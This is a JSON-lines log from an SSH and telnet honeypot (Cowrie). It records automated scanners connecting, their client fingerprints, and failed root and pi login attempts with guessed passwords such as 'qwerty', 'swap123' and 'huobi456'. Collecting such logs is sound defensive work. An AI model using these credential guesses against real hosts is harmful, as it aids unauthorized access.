{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:1c:b0:51:35:2a:56:46:d5:64:b0:55:32:a9:da:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC92b+CcHU2DpVSSzfTQJqrxvtbJ9FJkG6LJ56wP/s3glDppY+qkIghKjyS9QlQG6dUHUZhAikAYPMgrZpsHP51IK7rvC+q9rynWtGknYV8PcSovXn4AEjMDgrQCiEe31U0S0rF1QqrNe6NyTDHODDlGPGR8Qw1CUqfJzLVbF8HMiXuMXJu9nctngfH+EdtajNyyjGM20iPGLCAkwqoSjqmzwjGYigtnTSoEBxYbxlea7DER8390j3Vi/2vhFh/G2fyk6Mwuy5O4NjN8yi9fA7D9iqvVk016AoG3tmmAQjxojjwAMb7DK7e7o/2wSxXCYDS25XYrckChJPG1uHs00dJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.972587Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:36.072552Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":53074,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9aee08f17a2","protocol":"ssh","message":"New connection: 91.92.40.10:53074 (10.17.0.5:22) [session: a9aee08f17a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:46.251501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:46.455650Z","src_ip":"91.92.40.10","session":"a9aee08f17a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:46.457877Z","src_ip":"91.92.40.10","session":"a9aee08f17a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:47.740282Z","src_ip":"91.92.40.10","session":"a9aee08f17a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:48.923896Z","src_ip":"91.92.40.10","session":"a9aee08f17a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57818,"dst_ip":"159.203.135.109","dst_port":23,"session":"61056dc136b4","protocol":"telnet","message":"New connection: 137.184.5.188:57818 (159.203.135.109:23) [session: 61056dc136b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:34:06.620093Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":33646,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab202ce10d7","protocol":"ssh","message":"New connection: 162.144.58.21:33646 (10.17.0.5:22) [session: 9ab202ce10d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:34:40.703087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:34:40.705922Z","src_ip":"162.144.58.21","session":"9ab202ce10d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:34:40.788065Z","src_ip":"162.144.58.21","session":"9ab202ce10d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"swap123","message":"login attempt [root/swap123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:34:41.040061Z","src_ip":"162.144.58.21","session":"9ab202ce10d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:34:42.409606Z","src_ip":"162.144.58.21","session":"9ab202ce10d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":60952,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9ed0b9ee69e","protocol":"ssh","message":"New connection: 91.92.40.10:60952 (10.17.0.5:22) [session: e9ed0b9ee69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:16.115059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:16.305561Z","src_ip":"91.92.40.10","session":"e9ed0b9ee69e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:16.310232Z","src_ip":"91.92.40.10","session":"e9ed0b9ee69e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.67981457710266,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:17.299797Z","src_ip":"137.184.5.188","session":"61056dc136b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:17.637522Z","src_ip":"91.92.40.10","session":"e9ed0b9ee69e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:19.087425Z","src_ip":"91.92.40.10","session":"e9ed0b9ee69e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":49336,"dst_ip":"159.203.135.109","dst_port":22,"session":"28758af05102","protocol":"ssh","message":"New connection: 162.144.58.21:49336 (159.203.135.109:22) [session: 28758af05102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:29.947849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:29.952060Z","src_ip":"162.144.58.21","session":"28758af05102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:30.047884Z","src_ip":"162.144.58.21","session":"28758af05102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"swap123","message":"login attempt [root/swap123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:30.323815Z","src_ip":"162.144.58.21","session":"28758af05102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:31.416080Z","src_ip":"162.144.58.21","session":"28758af05102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":52472,"dst_ip":"159.203.135.109","dst_port":22,"session":"cabcfb3762da","protocol":"ssh","message":"New connection: 162.241.33.238:52472 (159.203.135.109:22) [session: cabcfb3762da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:34.206824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:34.210849Z","src_ip":"162.241.33.238","session":"cabcfb3762da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:34.237675Z","src_ip":"162.241.33.238","session":"cabcfb3762da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huobi456","message":"login attempt [root/huobi456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:34.319775Z","src_ip":"162.241.33.238","session":"cabcfb3762da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:35.349161Z","src_ip":"162.241.33.238","session":"cabcfb3762da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":52572,"dst_ip":"159.203.135.109","dst_port":22,"session":"56fc324376a5","protocol":"ssh","message":"New connection: 147.45.199.80:52572 (159.203.135.109:22) [session: 56fc324376a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:44.693770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:44.702149Z","src_ip":"147.45.199.80","session":"56fc324376a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:44.797491Z","src_ip":"147.45.199.80","session":"56fc324376a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oblako","message":"login attempt [root/oblako] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:45.085033Z","src_ip":"147.45.199.80","session":"56fc324376a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:35:46.182208Z","src_ip":"147.45.199.80","session":"56fc324376a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51388,"dst_ip":"10.17.0.5","dst_port":22,"session":"63c8ca4d4885","protocol":"ssh","message":"New connection: 91.92.40.176:51388 (10.17.0.5:22) [session: 63c8ca4d4885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:03.396555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:03.401054Z","src_ip":"91.92.40.176","session":"63c8ca4d4885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:03.482525Z","src_ip":"91.92.40.176","session":"63c8ca4d4885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"123456","message":"login attempt [pi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:03.734627Z","src_ip":"91.92.40.176","session":"63c8ca4d4885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:04.820319Z","src_ip":"91.92.40.176","session":"63c8ca4d4885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":52244,"dst_ip":"159.203.135.109","dst_port":22,"session":"8de178f246f5","protocol":"ssh","message":"New connection: 143.20.185.207:52244 (159.203.135.109:22) [session: 8de178f246f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:18.928471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:18.934116Z","src_ip":"143.20.185.207","session":"8de178f246f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:19.061528Z","src_ip":"143.20.185.207","session":"8de178f246f5","protocol":"ssh"}
